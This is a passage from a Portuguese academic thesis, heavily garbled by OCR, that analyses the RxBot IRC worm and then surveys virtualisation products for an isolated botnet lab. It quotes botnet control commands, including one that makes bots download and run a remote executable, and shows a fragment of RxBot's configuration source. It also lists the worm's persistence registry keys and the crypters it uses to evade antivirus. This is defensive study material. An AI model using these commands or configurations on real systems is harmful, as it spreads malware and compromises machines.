O servidor, entdo, passa a reconhedeot@womo um novo cliente no IRC e, apés
a troca de alguns pacoteshat entrard no canal configurado e com a senha pa@ealstida,

como por exemplo “JOIN #canalbot <senha>".

Maynor et al. (2006) afirmam que urbatnetlRC pode ser controlada de varias
formas, a mais tradicional é através do topico almat Obot recebera o tdpico do canal e

interpretara o comando. Abaixo, a figura mostramando recebido do topico.

- 1lrel BE00000 00 332 [urk]-700159 #fochar :.advscan lsass 200 5 0 -r -3
2= 3 [ugd]-700159 nltEveinicetry JOIN :#foobar
7~ 11rcl. 00000 00 NODE #focbar +suntuk chanmelpassword

Figura 2.17 — Tépico de um canal de uma Botnet IRGzonte: HONEYNET PROJECT, 2008b

Esse topico ordenara &ot que se propague através de alguma vulnerabilidade,
nesse caso 0 processo Isass do Windows, com Xesesoncorrentes, delay de 5 segundos,
por tempo indeterminado, verificacdo randémicalensiosa, 0 que evita maiores trafegos.
Nessa busca descomedida, cada maquina vulnerdgehteada na pesquisa poderd ser
automaticamente contaminada, contribuido para scitnento da rede (MAYNOR et al,

2006).
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Outro exemplo citado no Projeto Honeynet (2008w éomando "Http.update
http:// <servidor>/~ mugenxu /rBot.exe c:\.Msy32aveke 1", o qual ot sera instruido a
fazer o download de um arquivo binario, executamdem seguida, de acordo com o
parametro “1”. Logicamente, o topico do canal ptatebém n&o conter comando algum ou
apenas um breve comentario, o que fara quieotsfiguem apenas escutando, aguardando

novas ordens.

Uma segunda forma comum de controlaiboss no IRC é através do envio de
mensagens pelo proprio canal. Apesar de efetig® egtodo é identificado através de uma
simples visualiza¢do no corpo do canal. Os comas@losemelhantes as ordens estabelecidas
no controle por tépicos, com o diferencial que qual usuario que entrar no chat podera

facilmente monitorar as acoes loatherder

Outro método comum, mas contra produtivo, € o edgionensagens particulares
para caddot comandado. Nesse caso, a efetividade esta nadfalpercepcédo do que esta
acontecendo no canal. Assim, ela é mais utilizagendo osbots assumem necessidades
especiais com comandos personalizados, onde cadgex@omo uma entidade separada

(MAYNOR et al, 2006).

Dentre os modelos de IRC Botnets que foram deseides], a RxBot teve seu
destaque pelo inUmeros casos de eficiéncia e corde@o e serd analisada no proximo

capitulo.



65

3. ABOTNET RXBOT

A RxBot, também conhecida por Rbot, € um worm &s@&m linguagem C++
(PATIL, 2009), foi reportada pela primeira vez e@03, e até 2006 ja contava com mais de
1,9 milhdes de maquinas infectadas, figurando emmgmo lugar em seu ranking de
contaminagdo, de acordo com a tabela comparativagdgpe antimalware da Microsoft

(2006) .

A Rxbot ja foi uma das mais difundidas e complexatmetexistente desde 2003,
e, atualmente, ele continua impulsionando a furadidade principal de diversas outras

variantes (SCHILLER, 2007).

3.1 Caracteristicas da RxBot

Patil (2009) enumera as principais caracteristiealamilia Rxbot:

Programacao modular;

* Seus alvos séo os Sistemas Operacionais Microsaftois;

e Para comunicacdo com os bots, h& suporte parassad@mdRC protegidos por
senha;

* Possui recursos para port scanning, packet snifikey logging;

» Conta com multi thread, orientacdo a objetos egu&dpolimoficos;

» Utiliza o protocolo SMTP para enviar spam e espahas préprias copias;

e Utiliza protocolo HTTP para consecucéo de fraudasques DDos.
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3.2 Inicializag&o

A Rxbot usa métodos diferentes para buscar vulilelaibes e sistemas para
infectar. Ela tenta explorar senhas ou politicasetgiranca fracas, através uma lista padréao
ou uma lista pré-configurada pdbotherderde senhas, pelo método da forca bruta. Assim,

senhas simples ou em branco séo presa faceisgtar@amilia de worms (SCHILLER, 2007).

Ela também pode realizar um escaneamento nas gaiscvulnerabilidades de

software, inclusive explorandmckdoorsou portas abertas por outros arquivos maliciosos.

Os nomes dos arquivos maliciosos podem variar ndetmma variante para a
proxima, tornando sua identificacdo dificil. Mas éBCHILLER, 2007), o autor esclarece
gque as empresas antivirus ndo possuem uma nomeacfEdrdo, e exibe os principais

apelidos utilizados pelos fornecedores:

* McAfee: W32/SDbot.worm.gen.g
* Symantec: W32.Spybot.Worm

e Trend Micro: Worm_RBot

» Kaspersky: Backdoor.RBot.gen

« CA: Win32/RxBot

Consultando os sites oficiais das empresas deiastjypodemos obter uma lista

completa e dindmica dos arquivos maliciosos e saidantes.
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3.3 Sinais de comprometimento

Apoés a contaminacgao, conforme Schiller (2007), &dRx transferida para o
diretorio %system% — ou c:\windows\system32 —e estquivo, primeiramente, era batizado
dewuamgrd.exetendo suas variantes utilizado diferentes noneearquivos. Ja as variantes
mais modernas conseguem alterar dinamicamente @ mmmarquivo, de modo que cada

sistema infectado terd um nome de ficheiro diferent

Ainda, para dificultar a identificacdo e o conttacae, 0 arquivo € copiado como
somente leitura, oculto e tem sua datineestampalterados, fazendo com que, caso um
usuario perceba algo estranho, a aparéncia serd @equivo antigo e previamente instalado

no sistema operacional.

Para garantir que o bot seja executado automatidensecada inicializacdo do
sistema operacional, a Rxbot adiciona algumas @¢adraas seguintes chaves do registro do
Windows, podendo, inclusive, verificar periodicateese tais valores nao foram alterados ou

excluidos, restaurando-os (MICROSOFT, 2012d):

e HKEY_LOCAL_ MACHINE\Software\Microsoft\Windows\CurrgVersion\Run
« HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrgVersion\RunServices
e HKEY_CURRENT_USER\Software\Microsoft\Windows\Curtéersion\Run

« HKEY_CURRENT_USER\Software\Microsoft\Windows\Curt&ersion\RunServices

A manutencdo do bot depende também da possibilididenalware esta
programado para matar alguns processos associaaiogrogramas de seguranca e antivirus,

evitando ser detectado e consequentemente remdYa&mesma forma, ela realiza busca e
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tenta encerrar malwares concorrentes. Os processesrados sao, por exemplo, regedit.exe,
msconfig.exe, ntstat.exe, msblast.exe, zonealagnwicfg.exe, taskmon.exe, sysinfo.exe,

pandaavengine.exe, sinsys.exe, entre outros (SCGERL.R007).

Apesar da tentativa constante de deixar os bots imgierceptiveis possiveis, 0s
sistemas operacionais acabam apresentando sintqueasa magquina esta contaminada,

apresentando alguns erros como prova de que msigista comprometido.

Assim, um sistema operacional contaminado com uckdmer:Win32/Rbot ou
qualquer de suas variantes, pode exibir caixasi@egds informando do desligamento,

reinicializacdo do sistema ou um erro LSA Shelhfoome figuras abaixo:

System Shutdown E3 I

This sipstem is shutting down. Fleaze save all
wiork in progress and log oft. Arp unsaved

work in progress and bog off. dnyg unsaved

@ Thiz system is shutling down. Please save all

changes will be lost. This shutdown was
initiated by NT AUTHORITYASYSTEM

Time befare shutdows . 00:00:21

~Mezsage-

Windows must how restart because the
Remote Procedure Call [RPC) service
terminated unexpectediy

changes will be lost. This shutdown was
iniiated by MNT AUTHORITYASYSTEM

Time before shutdown :  00:00:56

i~ Meszage -
The system process
CAWINDDWSAspstem32\lsazs. exe’
terminated unexpectedly with status code
0. The system will now shut down-and
restart,

Figura 3.1 — Desligamento. Fonte: MICROSOFT,

2012d

Figura 3.2 — Reinicialiacdo. Fonte: MICROSOFT,

2012d
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_r ' o

LSA Shell (Export Yersion)

L5A Shell [Export Version) has encountered a problem
and needs to close. We are sony for the inconvenience.

If powy were in the middle of something, the information pou were working on
might be lost.

Please tell Microsoft about this problem.

We have created an eror repart that you can send to help us improve
L5& Shell [Export Yersion). ‘We will treat this report a3 confidential and
ANOnYMouS.

To see what data this error report contairis, click here.

Send Eror Repart | |i

Figura 3.3 — Erro LSA Shell. Fonte: MICROSOFT, 2012

3.4 Funcionalidades

Apés o comprometimento, 0 N6 passara a recebesroaraos através do IRC, e

dentre as diversas ordens, a Microsoft (2012d) enaiias possiveis acdes:

» [Escanear a rede a procura de computadorepataims

» Escanear portas abertas na rede;

* Realizar downloads e executar arquivos remotos;

* Monitorar o trafego da rede;

* Iniciar servicos de HTTP, socks4 e FTP

» Ativar ou desativar o protocolo DCOM, que é um pcolo responsavel pela

comunicacao entre objetos em sistemas distribuiddgicrosoft;



70

* Recuperar informacdes de algumas configuracdes odaputador, como
informacBes delogon, contas de usuérios, compartiihamentos abertos,
sistema de arquivos e conexdes de redes;

» Gravar e recuperar os logs das teclas digitadas;

» Obter chaves/licencas de programas ou jogos;

» Redirecionar trafego TCP;

* Enviar e-mails;

* Manipular processos e servicos do sistema operacion

Além destes, Muzzi (2010) complementa tal pensamneatendo a luz a ameaca
a privacidade das pessoas, na medida em que irfdema&omo senhas ou quaisquer outros

dados confidenciais ou intimos sdo capturadosré&seenta:

Possivel comprometimento da produtividade, difandio realizacdo de
tarefas na estacao;

* O computador transforma-se em uma plataforma paidades maliciosas;

» Comprometimento também da produtividade da redal l@éen que se
encontra o né infectado, visto que aumentara aglaties de trafego na rede
e, consequentemente, a degradacéo na largura da &an

* Reduz o nivel de seguran¢a do computador.

3.5 Andlise do cédigo da RxBot

O codigo fonte da Rxbot para realizacéo do predesidalho foi obtido através de

download, em arquivo.zip, em forwmdergroundda internet.
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Apresenta-se bem modular, assim, cada caractaristividual foi escrita em um
arquivo separado. Isso permitira tanto um confi@dé por parte do botherder, como também

uma facil inclusdo de médulos ou alteracao de sesvindesejados.

O principal arquivo de configuragdo é o “configs.mostrado na figura 3.4, onde
€ possivel configurar diversos parametros paraajixbot comece a operar. A variavel

“botid” € 0 nome que identificard o bot. “Versioa’sua versao, e “passwd” € a senha que 0

botherder usara para se conectar a cada bot.

O campo “server” contera o IP ou hosthname do servieé IRC que agira como
comando e controle. O “serverpass” atribui senhase@widor de controle. O “channel”
representa o canal para comunicacdo no servidoy 4RE € passado parabot através do

comando “join”, e, caso necessario, configurado senha no campo “chanpass”.

Detalhando o codigo, pode-se verificar que ele @amlzonta com parametros
secundarios, cujas informacdes de backup sdo idase@em caso de falhas nos servicos

principais, tais como IP do novo servidor, poremais e suas senhas.

Outros parametros de destaque sao: o local ondeafi@rmazenado o log de
gravacao do teclado (“keylogfile”), o nome do awguexecutavel instalado na maquina na
vitima (“filename”), a string que fara parte do ke da vitima (“nickconst”) e os canais de

resposta dos keylogger, exploits e sniffers.
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charbotidl] = "dang"; 'botid
charversion[] = “[\xﬂa‘\del\EptabDﬂZ\xm reloaded 0.6] \2{{\2by koncool\2) 2" tf

Bots lversionreply

charpassword[] ="changeme"; [/ botpas

L

ptetl

charserver[] ="127.0.0.1%; {{ server

charserverpass[]=""; /{ server password

charchannel[] ="#a"; {{ channelihat the pot should join
charchanpass[] ="b!"; //channelpassword

charserver2[] ="127.0.0.1"; /{ backupserver {ootior
charchannel2[] = "#a"; {{ backup channeal{

charchanpass2[] = "b"; {{ backup chan

charfilename[] ="win|0}x.exe“;= { destination file name

char keylogfile[] = "winabc.sys";

charvaluenamel] ="Windows LoL La',rer

char nickconst[] = "BoT| "; /] uses adnick

&
char SzLucatPavlnadFlle[]- winsys.dat";// Payload fil:

charmodeonconnl] = flcankb

chare M]—”#E” /[ Ehannelwhe

(&
[}
=
="
&
)
o
]
=
]
|
o
=
i

charkeylogchan(] ="#a"; J Channelw
charpsniffchan(] ="#a"; {/{ Charmelw

Rxbot:

Figura 3.4 — Parte do c6digo fonte do médulo configh

Patil (2009) faz uma breve analise sobre as funddssprincipais médulos da

* Rbot.ccp médulo do cédigo fonte mais importe, onde residgicleo de toda

atividade maliciosa;

» Autostart.cpp: garante a funcionalidade de inicio automaticazef@o as
devidas alteracbes no registro do sistema operaciBara tanto, basta alterar a

variavel “AutoStart”, do modulo configs.h, paraaar “true”;

» Capture.cpp: programacao responsavel pela captura de dadas etémagens

da webcam;

» Cdkeys.cpp modulo que busca em varias entradas de regisagturando

informagdes sobre softwares licenciados;
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* Findpass.cpp este médulo busca senhas armazenadas no sigpenzeional,

inclusive na memoaria, armazenando e enviado phalerder;

* Processes.cppparte fundamental que fica responsavel por neggrocessos
indesejados para a atividade maliciosa. Além dosgasos pré configurados, o
botherder pode adicionar novos processos de acoodd 0S programas

antivirus, firewall ou processos de seguranca gdam na maquina da vitima.

3.6 Técnicas de ofuscacédo

Como ja visto, € pratica comum proteger 0os arquivadiciosos executaveis
visando a nao identificacdo pelos softwares anviE isso € conseguido através de técnica

de ofuscagéo, como empacotamento e criptografeacievos.

Empacotar o arquivo comprime o tamanho do clidntee, assim, facilita seu
deslocamento e propagacao pela internet, alénfidal@ir o escaneamento da assinatura dos

arquivos.

J& a utilizacdo de criptografia nos arquivos coiriados permite a ndo deteccao
pelos programas de antivirus, visto que este n@isegme acesso completo ao arquivo

infectado.

Patil (2009) demonstrou ambas as técnicas paragmot arquivo e burlar a
seguranca do computador, servindo para demonsti&mtesmo 0 usuario possuindo um

sistema operacional, programas antivirus e de apgay é passivel de sofrer um ataque.
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Para conseguir mascarar o arquivo malicioso exisligarsos softwares gratuitos
e, com apenas alguns cliques, é possivel transfagroaultar a sua real finalidade, como o

“pepack”, “Poisen Ivy Crypter”, “themida®, entre outros.

10 . . ~ . s ~
Os programas pepack, poison ivy cryptr estdo disponiveis no mundo underground para download, ndo sendo
encontrado em sites oficiais deste. O themida pode ser encontrado no http://www.oreans.com/.
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4. SIMULACAO E TESTES

4.1 Escolha da Maquina Virtual

A fim de verificar as ferramentas existentes nocado para a simulacdo da
plataforma, foi realizada uma breve abordagem cemrimcipais aspectos referente ao tema.
Assim, foram explorados além dos conceitos iniciais vantagens na utilizacdo e os

principais fabricantes de VMs.

4.1.1 Conceitos de Maquinas Virtuais

Primeiramente, conforme a definicdo de Anjos e Md2007), uma maquina
virtual — VM — € uma cépia com seu sistema devidaméolada de uma maquina real ou

uma duplicata eficiente e isolada de uma maquialatAUREANO,2006).

A virtualizagdo de sistemas apareceu na décadddatves dosnainframes
IBM que simulavam maquinas reais, disponibilizanetursos computacionais aparentemente
dedicados aos usuarios. Logicamente, devido andgrausto, essa implementagéo ficou
restrita aos sistemas com grande capacidade de utapdgp e alto desempenho

(ANJOS;NICOLAO, 2007).
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Ainda sobre o surgimento da virtualizacdo de siagemCarissimi (2008)
complementa que apesar da programacdo Java tefotraas ultimos anos a nocdo de
maquina virtual, os antigaeainframesmesmo de um unico fabricante, possuiam seu propri
sistema operacional, tornando-se a principal razéia o surgimento das maquinas virtuais e

permitindo que softwares legados fossem executaagrmainframes

Foi possivel, entdo, executar ou migrar uma adcate uma plataforma para
outra, onde na plataforma alvo haveria a versdaendguina virtual, que ofereceria uma
camada de software de uma ambiente completo mudrinpo de uma maquina fisica

(CARISSIMI, 2008).

A esséncia da virtualizacdo consiste em estendesubstituir um recurso ou
interface, de modo a imitar um comportamento (LABRPD, 2006), assim, cada maquina
virtual tera seu préprio sistema operacional, apifos, servicos de rede, inclusive
interconexdo entre elas através de switches, mtead: firewalls virtuais (CARISSIMI,

2008). A figura 4.1 ilustra genericamente a tecgial@e maquinas virtuais.

Conforme explica Laureano (2006), a diversidadepdgetos de hardware e
software, bem como de empresa, ocasionou, ao ldagempo, uma variedade grande de
plataformas operacionais, e, consequentemente, inocoapatibilidade entre si, ou seja,

aplicacdes para uma plataforma operacional naodona@m outro tipo de plataforma.
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&

Processador  Penfircos  Discos Disqueate

Figura 4.1 — Diagrama basico de uma maquina virtual Fonte: ANJOS;NICOLAO, 2007

Continua o autor que com o0 surgimento das maquuragais foi possivel
contornar o problema, pois com a virtualizacdo, wamada € criada para compatibilizar

diferentes plataformas.

Atualmente, com o desenvolvimento de processadovéasips fabricantes
desenvolvem solugcdes com baixo custo para consélidale servidores em empresas
(ANJOS;NICOLAO, 2007), oferecendo confiabilidadesolamento e escalabilidade

(MATTOS, 2008).

Outros pontos que merecem destaque na contextédizie maquinas virtuais
séo oVirtual Machine Monitor(VMM), ou Monitor de Maquina Virtual ou ainddypervisor

e 0s modos de usuario e de supervisor.
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VMM é um componente de software que hospeda as ingguirtuais, sendo o
responsavel direto pela virtualizacdo, controle desursos compartilhados, como
processadores, memoria, armazenamento e dispssitiled entrada e saida e pelo

escalonamento de qual maquina tera preferénciaeteigio (MATTOS, 2008).

Ja os modos sao as formas de como o computador guetar. No modo de
usuario — ou espaco de aplicagdo — é o modo noggualmente as aplicagbes comuns séo
executadas, ndo sendo possivel executar instrugiesmaiores privilégios. Ao contrério,
tem-se o0 modo de supervisor que por sua vez ternot®notal sobre a CPU, executando

instrucdes nao-privilegiadas ou privilegiadas (MAJT, 2008).

Um sistema operacional, por exemplo, trabalha ndawte supervisor, porém ao
passar o controle da CPU para a aplicacado de uérioso bit de controle de modo tem que

ser setado para o modo de usuario.

Assim, de modo analogo aos sistemas operacionatp$1(2008) abaliza que o
Monitor de Maquina Virtual é executado no modo dpesvisdo, enquanto cada maquina
virtual € executada em modo de usuario, e case &cutar uma instrugdo privilegiada, um

pedido de interrupcao € gerado e o controle passagVMM.

4.1.2 Vantagens na utilizacao

A utilizacdo de VM oferece diversas vantagens, como



79

« Isolamento do sistema visitantt: apesar de as maquinas virtuais
compartilharem os recursos fisicos de um uUnico coadwor, elas permanecem
totalmente isoladas uma das outras, como se retrfegsem estacdes fisicas
separadas. O isolamento ocasiona uma melhor dispdade e seguranca de
aplicativos em execugdo em um ambiente virtual @i@xecutados em um

ambiente tradicional (VMWARE, 2012);

Magumna Vitrual 1 Magquina Vitrusd 2 Maguina Vitreal N

Sistema Anfitrido

Figura 4.2 — Isolamento de maquinas virtuais. FonteANJOS; NICOLAO, 2007

* Flexibilidade de alocacdo de recursosuma Unica maquina fisica pode
comportar mais de dois tipos diferentes de sisteo@acionais, o que
possibilita a alocacdo de recursos de hardware si#manda
(ANJOS;NICOLAO,2007);

* Custos de acordo com Mattos (2008), a reducdo de cystde variar de
29% a 64%, através da consolidacédo de pequenadaes/dentro de outros

mais poderosos;

11 . . . . . . , . . P

Dentro do ambiente virtualizado tem-se o sistema operacional hospedeiro — que é o sistema nativo e é
executado diretamente sobre o hardware fisico — e o sistema operacional visitante, convidado ou também
conhecido por Guest Operation System — que é executado em cima do hardware virtualizado
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* Seguranca através das VMs, pode se definir qual o melhobiante para
executar cada servico, com diferentes requerimendes seguranca,
ferramentas diversas e o sistema operacional ndaiguado. E, usando uma
maquina virtual para cada servico, uma possiveherabilidade de um

servico nao prejudica as demais (MATTOS, 2008).

Ademais, Laureano (2006) aponta outros beneficaositdizacdo de maquinas

virtuais em sistemas computacionais, tanto de maairds como para computadores pessoais:

* Auxilio no ensino pratico de sistemas operacior&iprogramacdo, pois
possibilita a execucdo de varios sistemas para @@Q@o Nno mMesmo
equipamento;

» Poder ter varias maquinas virtuais, cada uma comsisiema operacional
diferente sem a necessidade de particionar o digicio;

* Simulacéo de alteracédo e falhas de hardware;

* Portabilidade de aplicacoes;

» Facilidade de gerenciamento, migracdo e replicagéo computadores,
aplicacdes ou o proprio sistema operacional;

» Facilidade de treinamento e demonstragéo de preduto

4.1.3 Propriedades das Maquinas Virtuais

Algumas caracteristicas sdo desejaveis para odoaciento ideal das VMs,

conforme trabalho de Laureano (2006):

* Isolamenta a vantagem do isolamento deve ser observada &langde um
processo de uma VM néao deve interferir no funciogram de outro processo,

nem comprometer o desempenho de outras maquinaaisi(MUZZI, 2010);



81

Inspecaa o hypervisortem a capacidade de acesso e controle sobre dsdas
informacdes dos processos das VMs, como estadd’ta @emoria, eventos
e outros;

Interposicao: o hypervisortambém pode intercalar ou acrescentar instrugdes
em algumas operacdes, como execucao de instrugdegprivilégio. Assim,
instrucdes do tipo “espera” podem ser inseridanaauina virtual enquanto o
monitor processa instrucdes privilegiadas (MUZ2I1Q);

Eficiéncia: por nado interferir em outras maquinas virtuais aplicacoes,
instrugdes consideradas inofensivas podem ser &xiss=u diretamente no
nardware;

Gerenciabilidade como sao instancias distintas, a administragamtke VM
independe da outra VM, deixando o controle simplesntralizado;
Compatibilidade de software devido a abstracdo fornecida pela VM, todo
software escrito para uma determinada plataforera, também executado em
uma VM que virtualize aquela mesma plataforma,;

Encapsulamento nas VMs, o monitor pode controlar totalmente os
processos, gerando inclusiveheckpoints do sistema para possiveis
recuperacdes apos uma falha (MUZZI, 2010);

Desempenho mesmo que uma camada de software seja acrescida a
sistema e afete o desempenho deste, o benefigmrpronado ainda sera

valido.



82

4.1.4 Principais fabricantes

Atualmente, tém-se diversas solugbes disponiveia pietualizacdo, tanto para
uso comercial, gratuito, baseada em software bur@ integrada ao sistema operacional. Os

principais fabricantes séo:

4.1.4.1 VMware

O VMware tornou-se uma das mais populares solugia virtualizacéo,
oferecendo infra-estrutura completa tanto paratdpskcomodata centersAs solucbes séo
divididas em trés categorias basicas: gerenciamerdotomacao, infra-estrutura virtual e

plataformas para virtualizacdo (MATTOS, 2008 e VMRE 2012).

Na virtualizagdo de plataformas, assunto relacioraa presente trabalho, suas
aplicacOes séo voltadas tanto para servidor corskt@es. Entre os produtos fornecidos pela
VMware, pode-se encontrar o VMware Workstation,i¢iusPlayer, voltados para usuarios
domésticos, e VMware ESX Server, Server, vSpher@eHysor (ESXi) para maiores

corporacoes (VMWARE, 2012).

O VMware é executado da mesma forma que um prog@mam, em um
sistema operacional hospedeiro, ficando respongi@labstracdo de processador, memoaria,

armazenamento e recursos de rede (COELHO;CALZAVARIEIA, 2010).

Muzzi (2012) explica que a arquitetura do VMwasbalha com virtualizagdo no

nivel de processador,em que as instru¢fes prigiagi a serem executadas sdo capturadas e
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virtualizadas pelo VMM, enquanto as outras instascéfio executadas no proprio processador

hospedeiro.

Outro ponto interessante ilustrado pelo autor € gsierecursos de hardware
também s&o virtualizados. Assim, o suporte partiliaagdo para os diversos dispositivos é
fornecido pelo proprio sistema operacional hospedePara a maquina ter acesso ao
dispositivo real, € instalado udriver de dispositivo, &/MDriver. Na rede, por exemplo, a
placa sera colocada em modo promiscuo, recebedds &3 quadros ethernet, e criando uma

ponte pridge), que sera responsavel por encaminhar tais quadraso sistema héspede.

Faralbel Ports Serial/Com Ports

Q

Tisppy btk

. %

(BrBYD
Monltor

Videa Cand

Leybasrd

¢ Ros

SC5% Comeroller  IDE Domtrolier Mousse UEE Device

Figura 4.3 — Virtualizag&o de dispositivos no VMwae. Fonte: MATTOS, 2008

A figura 4.3 representa uma maquina virtual usadoitetura VMware, com 0s
dispositivos hardware virtualizados, como placa rdde, som, video, USB e demais

hardwares.
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4.1.4.2 VirtualBox

VirtualBox € um programa virtualizador da Oracle, proposito geral, voltado
para hardware x86, para uso em servidores ou geskista disponivel gratuitamente como
software de cédigo aberto sob os termos da GNUnRef@ePublic License —, suporta como
anfitrides os sistemas operacionais Windows, Lilacintosh e Solaris, e como convidado,
a familia Windows (NT, 2000, XP, Server 2003, Vistd), DOS/Windows3.x, Linux, Solaris

e Open Solaris, OS/2 e OpenBSD (VIRTUALBOX, 2012).

O programa apresenta arquitetura modular e comacteaistica principal o
gerenciamento através de uma interface bem defifadditando a administracdo de varias

maquinas virtuais ao mesmo tempo, conforme figuta 4

Clragle YA WimualBox Manager

New  Spitecy Smant - Descard

m'-' *:!_H R Shagehags (115

Android A ekl L preview

05 Type: Windaws XP

@ ﬁudm T (uE4)

Saved

W35 Powered O4F
S @ Mame:  Windows XP

[~ Chrome 05
il Powmred Off

Mac 05 X Server
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ﬁ Oracle Linux
" ) Powered OF
'r- e

[#= Debian Wab Server
ﬁ. ) Powered OFf

4 Windows ¥ iSnapshat 2}
= B saved

&7 Ubuntu

"&—"‘ B saved
%“,:g Solaris 11
5 @ Powered O

[ Ubuntu using ICHS
'-e,ff '@ Powered Dln#

& system

Base Memaory: 512 MB

Baat Order:  Floppy, CD/DVD-ROM, Hard
Disk

Accelerstion: WT-x/AMD-V, Nested Paging

B misplay
Wideo Mamary: Era L]
Accelaration. 2D Video

Remote Deskiop Server Port: 3189

Z Sworage

IDE Contraller
IDE Primary Master: Windows XP.vdi [Nevma!, 10,00 CR)
IBE Primiary Sianve: ExtraStorage.wdl {Norma!, 10.00 CH)

IDE Secondary Master (CO/DVD): VBoxGuestAddtions.ise (35.30 MBI
SATA Controller
Flappy Controller

Flopgy Device 0 Ermpy

§0 Audio
Haat Driver: Corefudic

| RS ST P .

Figura 4.4 — Interface de gerenciamento do VirtualBx. Fonte: VIRTUALBOX, 2012



85

Muzzi (2010) destacou que as ferramentas do VBmaltambém sdo de facil

compreensao, além de serem constantemente modgieg@stadas e as principais sao:

VirtualBox GUI : interface grafica administrativa, ja visto naufig acima;

* VBoxManage interface de linha de comando para controle ceta partir
do sistema hospedeiro. Ele além de suportar todagaursos da interface
grafica, possui recursos extras nao disponiveis modo grafico

(VIRTUALBOX, 2012);

 VBoxSDL: alternativa que apresenta uma interface grafiogplgicada
através de recursos intencionalmente limitadogjrdets a mostrar somente

0 essencial para execuc¢ao da maquina virtual;

* VBoxHeadless sua funcéo principal € oferecer acesso remotohagiendo a

necessidade de apresentar uma interface graficseMme estacdo hospedeira.

4.1.4.3 Xen

Antes de apresentar este fabricante, € necessdper gue na virtualizacédo
propriamente dita, toda a infra-estrutura complietdnardware subjacente é virtualizada, néo
sendo necessario modificar o sistema operacionalvidado para que este consiga ser
executado sobre o VMM. Ja a paravirtualizacdo € técaica na qual uma arquitetura
similar, mas ndo idéntica a arquitetura real, ésgnmtada ao sistema operacional emulado

(ANDRADE, 2006), conforme ilustracao.

Nesse caso, conforme Laureano (2006), o sisterhzalrado (convidado) sofre
modificacdes para que as interagcbes com o monikomdquinas virtuais sejam mais

eficientes, aumentando a performance das maquiriaais.
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Figura 4.5 — Virtualizac&o total. Fonte: Figura 4.6 — Paravirtualizacdo. Fonte:

LAUREANO, 2006 LAUREANO, 2006

Deste modo, Muzzi (2010) e Mattos (2008) citam qu¥en é um dos mais
populares exemplos de paravirtualizacdo, onde tenseé operacional visitante ndo tenta
executar tarefas protegidas diretamente na CPU simagntrega-las ao monitor de maquina

virtual.

Xen é uma camada de software desenvolvida pelamidade Xen.org, padrédo
open sourcegque roda diretamente no hardware do computadomifiedo que nele sejam

executados varios sistemas operacionais convidxdads, 2012).

Muzzi (2010) informa que o Xen tem uma arquitetorais especifica que os
demais fabricantes, onde utilizam os conceitodaieinioe hypervisor.O dominio € a forma
como sao batizadas as maquinas virtuais no Xendenp ser dominio O ou privilegiada ou
dominio U ou nao privilegiada. J& o hypervisor oolat 0os recursos de comunicacéo,

memdria e processamento.

Carissimi (2008) esclarece que o hypervisor Xen mp@gssui drivers de
dispositivos, ndo sendo capaz de suportar nenhoteea¢do com o0s sistemas hospedes, e

assim temos que:
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E necessario que exista um sistema inicial paransecado
pelo hypervisor Esse sistema inicial € o dominio 0. As outras
maquinas s6 podem ser executadas depois que etaciado.

As maquinas de dominio U s&o criadas, iniciadasmainadas
através do dominio 0. O dominio 0 € uma maquinaaliinica
que executa um ndcleo Linux modificado e que possui
privilégios especiais para acessar recursos figleosntrada e
saida, interagindo com as demais maquinas virigaiminio

U) (CARISSIMI, 2008).

Mattos (2008) afirma que, de inicio, a escolhagaravirtualizacdo era justificada
pelo acréscimo em desempenho, sendo bem melhaa gireualizagédo total. Porém, com o
desenvolvimento de tecnologias como AMD-V e Intdl, \A virtualizacdo padrdo passou a

obter resultados tdo bons ou até melhores queasifaalizacao.

4.1.4.4 Microsoft Virtual PC

A Microsoft também possui uma grande variedade melytos voltados para
virtualizacao, inclusive solucbes paglatacenters mas o que se destaca para o presente

trabalho é o software Virtual PC.

O Virtual PC é a maquina virtual da familia Windowsdendo ser configurada
para executar outros sistemas operacionais, endega Microsoft, citada por Carissimi
(2008), sua principal funcdo € o desenvolvimenttestes de software para mudltiplas

plataformas.
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File: Aiction Help

OpenSUSE 10.3
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Saved
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Figura 4.7 — Tela de gerenciamento do Virtual PC dMicrosoft. Fonte: CARISSIMI, 2008

Como as outras maquinas virtuais, o Virtual PC jgeriterconectar logicamente
diferentes maquinas, pois possui seu proprio epdeviAC e IP, tem também servidor NAT

e switchesvirtuais.

Muzzi (2010) afirma que as maquinas virtuais est@&ado cada vez mais
utilizadas, provendo ambientes mais otimizados,muenor nimero de maquinas reais, uma
maior organizagdo do parque tecnoldgico e um meowasumo de energia. E, como método
de simulacéo dbotnets € o ambiente quase perfeito, pois fornece o wanfento necessario

e vital para a realizacao de testes com seguranca.
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4.2 Criacgao da plataforma virtual

Assim, diante das caracteristicas apresentadascqma fabricante no topico
anterior, como facilidade de gerenciamento, rolzsbeportacdo e importacao de appliances,
descricdo em XML, seguranca, portabilidade, consdenanemdria, entre outros, decidiu-se

por realizar os testes atravées do VirtualBox.

Para o presente trabalho, a simulacéo foi realizdi@ando-se o sistema de
virtualizacao VirtualBox. Um servidor IRC foi in$d&alo em uma maquina virtual baseada em
Linux, e, por apresentar simplicidade no manuseidJbuntu 12.04 foi escolhido, ja as

estacoes foram simuladas com Windows XP, no esqdarfigura 4.8.

«il IRC-LMN¥X_Server

192 168.0.2
| Est-XP01 | Est-XP02 | Est-XP0O3

192.168.0.2 192.168.00.4 192.168.0.5

h Sa

Figura 4.8 — Esquema de rede da plataforma virtual

Para deixar a plataforma de simulacdo completanmsoitela e portavel, inclusive
para esta apresentacdo, decidiu-se pela ndo cdiizde servidores e canais de chat ja
existentes na internet. Para tanto, foi instaladestado em uma maquina virtual o IRCD-

Hybrid (IRCD-HYBRID, 2012), provendo um servi¢o semnte local.

Ainda sobre a compartimentacdo, a rede montada pleweite acesso somente
entre as estacodes virtuais. No VirtualBox, cadauimagcriada teve sua configuracéao de rede

alterada para “rede interna”, mantendo-se o nordepala rede, conforme figura abaixo:
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[ (a4 ]l Cancelar ]l Ajuda (H) ]

Figura 4.9 — Configuracao de rede local no VirtualBx. Fonte: VIRTUALBOX, 2012

4.3 Instalacao e configuracéo do servico de IRC

Existem diversos programas para prover servico RE, linclusive para
plataformas Windows, e com uma infinidade de rexsurBevido a simplicidade e robustez, o

IRCD-Hybrid foi configurado para realizagéo dogess

Esse aplicativo, disponivel apenas para platafolrimas, versdo estavel 7.3.1 ou

versao beta 8.0.0 (IRCD-HYBRID, 2012), foi instadaal partir do comando:

- sudo apt-get install ircd-hybrid

Como a simulagcéo roda em rede local, o arquivo a@diguracdo do hybrid
(/etclircd-hybrid/ircd.conf) foi alterado conformfegura abaixo, e reiniciado com <sudo

